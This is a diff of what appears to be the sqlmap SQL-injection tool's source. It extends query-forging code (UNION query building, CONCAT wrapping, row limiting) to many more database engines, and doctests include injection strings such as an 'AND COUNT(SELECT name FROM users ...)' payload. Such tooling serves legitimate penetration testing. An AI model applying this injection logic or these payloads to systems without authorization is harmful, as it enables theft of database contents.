fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
@@ -548,7 +570,7 @@ class Agent(object):
if fieldsSelect:
fieldsToCastStr = fieldsSelect.group(1)
elif fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.group(1)
fieldsToCastStr = fieldsSelectTop.group(2)
elif fieldsSelectRownum:
fieldsToCastStr = fieldsSelectRownum.group(1)
elif fieldsSelectDistinct:
@@ -648,7 +670,7 @@ class Agent(object):
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -671,8 +693,8 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
@@ -708,21 +730,43 @@ class Agent(object):
warnMsg = "applying generic concatenation (CONCAT)"
singleTimeWarnMessage(warnMsg)
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
if _ != concatenatedQuery:
concatenatedQuery = _
fieldsSelectFrom = None
if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsSelectFrom:
elif fieldsSelectFrom or fieldsSelect:
fromTable = ""
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
if _:
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
chars = [_ for _ in replacement]
count = 0
for index in zeroDepthSearch(replacement, ',')[1:]:
chars[index] = "),"
count += 1
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
concatenatedQuery = "%s%s" % (replacement, fromTable)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
concatenatedQuery += "),'%s')" % kb.chars.stop
elif fieldsNoSelect:
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
return concatenatedQuery
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
@@ -937,10 +981,33 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.DERBY, DBMS.CRATEDB):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE,):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
if query.startswith("SELECT "):
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
if query.startswith("SELECT ") and field is not None and field in query:
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
for part in original.split(','):
if re.search(r"\b%s\b" % re.escape(field), part):
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
limitedQuery = replacement
break
elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match:
@@ -959,6 +1026,15 @@ class Agent(object):
if match:
orderBy = " ORDER BY %s" % match.group(1)
elif Backend.isDbms(DBMS.CACHE):
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
if match:
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
orderBy = " %s" % match.group(0)
field = match.group(1)
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
elif Backend.isDbms(DBMS.FIREBIRD):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
limitedQuery += " %s" % limitStr
@@ -1036,12 +1112,15 @@ class Agent(object):
def forgeQueryOutputLength(self, expression):
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
select = re.search(r"\ASELECT\s+", expression, re.I)
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
if selectTopExpr or selectMinMaxExpr:
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
elif selectTopExpr or selectMinMaxExpr:
lengthExpr = lengthQuery % ("(%s)" % expression)
elif select:
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
+82 -44
View File
@@ -40,7 +40,6 @@ import unicodedata
from difflib import SequenceMatcher
from math import sqrt
from optparse import OptionValueError
from xml.dom import minidom
from xml.sax import parse
from xml.sax import SAXParseException
@@ -76,6 +75,7 @@ from lib.core.enums import CHARSET_TYPE
from lib.core.enums import CONTENT_STATUS
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
@@ -139,6 +139,7 @@ from lib.core.settings import IS_TTY
from lib.core.settings import IS_WIN
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
from lib.core.settings import LOCALHOST
from lib.core.settings import MAX_INT
from lib.core.settings import MIN_ENCODED_LEN_CHECK
from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
from lib.core.settings import MIN_TIME_RESPONSES
@@ -147,6 +148,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_AMP_MARKER
from lib.core.settings import PARAMETER_SEMICOLON_MARKER
from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
@@ -557,6 +559,10 @@ class Backend(object):
singleTimeWarnMessage("identified ('%s') and fingerprinted ('%s') DBMSes differ. If you experience problems in enumeration phase please rerun with '--flush-session'" % (Backend.getIdentifiedDbms(), Backend.getDbms()))
return Backend.getIdentifiedDbms() == aliasToDbmsEnum(dbms)
@staticmethod
def isFork(fork):
return hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) == fork
@staticmethod
def isDbmsWithin(aliases):
return Backend.getDbms() is not None and Backend.getDbms().lower() in aliases
@@ -929,12 +935,21 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
>>> setColor("Hello World", color="red", istty=True)
'\\x1b[31mHello World\\x1b[0m'
>>> setColor("[INFO] Hello World", istty=True)
'[\\x1b[32mINFO\\x1b[0m] Hello World'
>>> setColor("[INFO] Hello [CRITICAL] World", istty=True)
'[INFO] Hello [CRITICAL] World'
"""
retVal = message
level = level or extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if message and (IS_TTY or istty) and not conf.get("disableColoring"): # colorizing handler
if level is None:
levels = re.findall(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message)
if len(levels) == 1:
level = levels[0]
if bold or color:
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level:
@@ -943,6 +958,13 @@ def setColor(message, color=None, bold=False, level=None, istty=None):
except:
level = None
retVal = LOGGER_HANDLER.colorize(message, level)
else:
match = re.search(r"\(([^)]*)\s*fork\)", message)
if match:
retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey"))
for match in re.finditer(r"([^\w])'([^\n']+)'", message): # single-quoted (Note: watch-out for the banner)
retVal = retVal.replace(match.group(0), "%s'%s'" % (match.group(1), colored(match.group(2), color="lightgrey")))
return retVal
@@ -961,7 +983,7 @@ def clearColors(message):
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
def dataToStdout(data, forceOutput=False, bold=False, contentType=None, status=CONTENT_STATUS.IN_PROGRESS, coloring=True):
"""
Writes text to the stdout (console) stream
"""
@@ -974,9 +996,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
try:
if conf.get("api"):
sys.stdout.write(stdoutEncode(clearColors(data)), status, content_type)
sys.stdout.write(stdoutEncode(clearColors(data)), status, contentType)
else:
sys.stdout.write(stdoutEncode(setColor(data, bold=bold)))
sys.stdout.write(stdoutEncode(setColor(data, bold=bold) if coloring else clearColors(data)))
sys.stdout.flush()
except IOError:
@@ -1080,7 +1102,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
logger.debug(debugMsg)
if retVal is None:
if checkBatch and conf.get("batch") or conf.get("api"):
if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
if isListLike(default):
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
elif default:
@@ -1108,7 +1130,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if not retVal: # Note: Python doesn't print newline on empty input
dataToStdout("\n")
retVal = retVal.strip() or default
retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
retVal = getUnicode(retVal, encoding=getattr(sys.stdin, "encoding", None)) if retVal else retVal
except:
try:
time.sleep(0.05) # Reference: http://www.gossamer-threads.com/lists/python/python/781893
@@ -1191,9 +1213,9 @@ def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
"""
if seed is not None:
_ = getCurrentThreadData().random
_.seed(seed)
choice = _.choice
_random = getCurrentThreadData().random
_random.seed(seed)
choice = _random.choice
else:
choice = random.choice
@@ -1225,10 +1247,12 @@ def getHeader(headers, key):
"""
retVal = None
for _ in (headers or {}):
if _.upper() == key.upper():
retVal = headers[_]
for header in (headers or {}):
if header.upper() == key.upper():
retVal = headers[header]
break
return retVal
def checkPipedInput():
@@ -1377,7 +1401,6 @@ def setPaths(rootPath):
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
@@ -1398,7 +1421,6 @@ def setPaths(rootPath):
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
@@ -1411,6 +1433,7 @@ def setPaths(rootPath):
checkFile(path)
if IS_WIN:
# Reference: https://pureinfotech.com/list-environment-variables-windows-10/
if os.getenv("LOCALAPPDATA"):
paths.SQLMAP_HOME_PATH = os.path.expandvars("%LOCALAPPDATA%\\sqlmap")
elif os.getenv("USERPROFILE"):
@@ -1424,7 +1447,7 @@ def setPaths(rootPath):
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# history files
# History files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(paths.SQLMAP_HOME_PATH, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
@@ -1463,7 +1486,7 @@ def parseTargetDirect():
remote = False
for dbms in SUPPORTED_DBMS:
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
if details:
conf.dbms = details.group("dbms")
@@ -1581,7 +1604,7 @@ def parseTargetUrl():
originalUrl = conf.url
if re.search(r"\[.+\]", conf.url) and not socket.has_ipv6:
errMsg = "IPv6 addressing is not supported "
errMsg = "IPv6 communication is not supported "
errMsg += "on this platform"
raise SqlmapGenericException(errMsg)
@@ -1638,7 +1661,7 @@ def parseTargetUrl():
conf.port = 80
if conf.port < 1 or conf.port > 65535:
errMsg = "invalid target URL's port (%d)" % conf.port
errMsg = "invalid target URL port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
@@ -1650,13 +1673,13 @@ def parseTargetUrl():
else:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
debugMsg = "setting the HTTP Referer header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
debugMsg = "setting the HTTP Host header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
@@ -2023,6 +2046,8 @@ def safeStringFormat(format_, params):
if retVal.count("%s", start, end) == len(params):
for param in params:
index = retVal.find("%s", start)
if isinstance(param, six.string_types):
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
else:
if any('%s' in _ for _ in conf.parameters.values()):
@@ -2048,7 +2073,7 @@ def safeStringFormat(format_, params):
else:
break
retVal = getText(retVal)
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
return retVal
@@ -2320,16 +2345,6 @@ def readCachedFileContent(filename, mode="rb"):
return kb.cache.content[filename]
def readXmlFile(xmlFile):
"""
Reads XML file content and returns its DOM representation
"""
checkFile(xmlFile)
retVal = minidom.parse(xmlFile).documentElement
return retVal
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
@@ -2712,6 +2727,12 @@ def extractErrorMessage(page):
retVal = candidate
break
if not retVal and wasLastResponseDBMSError():
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
if match:
retVal = match.group(0)
return retVal
def findLocalPort(ports):
@@ -2812,6 +2833,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
>>> urlencode('AND 1>(2+3)#')
'AND%201%3E%282%2B3%29%23'
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
"""
if conf.get("direct"):
@@ -2834,6 +2859,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
# encoded (when not representing URL encoded char)
# except in cases when tampering scripts are used
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
while True:
@@ -3008,9 +3034,11 @@ def isNumPosStrValue(value):
False
>>> isNumPosStrValue('-2')
False
>>> isNumPosStrValue('100000000000000000000')
False
"""
return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
@cachedmethod
def aliasToDbmsEnum(dbms):
@@ -3700,7 +3728,7 @@ def unhandledExceptionMessage():
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
@@ -3995,7 +4023,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
thread.start()
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
if thread.isAlive():
if thread.is_alive():
kb.reflectiveMechanism = False
retVal = content
if not suppressWarning:
@@ -4074,14 +4102,15 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
@@ -4115,11 +4144,11 @@ def unsafeSQLIdentificatorNaming(name):
retVal = name
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
retVal = name.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
retVal = name.replace("[", "").replace("]", "")
@@ -4797,6 +4826,8 @@ def extractExpectedValue(value, expected):
True
>>> extractExpectedValue('1', EXPECTED.INT)
1
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
True
"""
if expected:
@@ -4820,8 +4851,10 @@ def extractExpectedValue(value, expected):
else:
value = None
elif expected == EXPECTED.INT:
if isinstance(value, six.string_types):
value = int(value) if value.isdigit() else None
try:
value = int(value)
except:
value = None
return value
@@ -5153,6 +5186,11 @@ def parseRequestFile(reqFile, checkParams=True):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Note: overriding values with --headers '...'
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
if match:
key, value = match.groups()
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
+7 -4
View File
@@ -95,7 +95,7 @@ def htmlUnescape(value):
try:
retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal)
except ValueError:
except (ValueError, OverflowError):
pass
return retVal
@@ -227,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):
return retVal
def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
def getBytes(value, encoding=None, errors="strict", unsafe=True):
"""
Returns byte representation of provided Unicode value
@@ -237,9 +237,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
retVal = value
if encoding is None:
encoding = conf.get("encoding") or UNICODE_ENCODING
try:
codecs.lookup(encoding)
except LookupError:
except (LookupError, TypeError):
encoding = UNICODE_ENCODING
if isinstance(value, six.text_type):
@@ -300,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
for candidate in candidates:
try:
return six.text_type(value, candidate)
except UnicodeDecodeError:
except (UnicodeDecodeError, LookupError):
pass
try:
+1 -1
View File
@@ -28,7 +28,7 @@ def cachedmethod(f):
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
>>> __(2)
2
>>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
>>> __(foobar=3)
3
+73 -1
View File
@@ -10,20 +10,32 @@ from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.enums import POST_HINT
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import BLANK
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import MCKOI_ALIASES
from lib.core.settings import MIMERSQL_ALIASES
from lib.core.settings import MONETDB_ALIASES
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import NULL
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PRESTO_ALIASES
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import VERTICA_ALIASES
FIREBIRD_TYPES = {
261: "BLOB",
@@ -108,6 +120,28 @@ SYBASE_TYPES = {
20: "image",
}
ALTIBASE_TYPES = {
1: "CHAR",
12: "VARCHAR",
-8: "NCHAR",
-9: "NVARCHAR",
2: "NUMERIC",
6: "FLOAT",
8: "DOUBLE",
7: "REAL",
-5: "BIGINT",
4: "INTEGER",
5: "SMALLINT",
9: "DATE",
30: "BLOB",
40: "CLOB",
20001: "BYTE",
20002: "NIBBLE",
-7: "BIT",
-100: "VARBIT",
10003: "GEOMETRY",
}
MYSQL_PRIVS = {
1: "select_priv",
2: "insert_priv",
@@ -198,8 +232,21 @@ DBMS_DICT = {
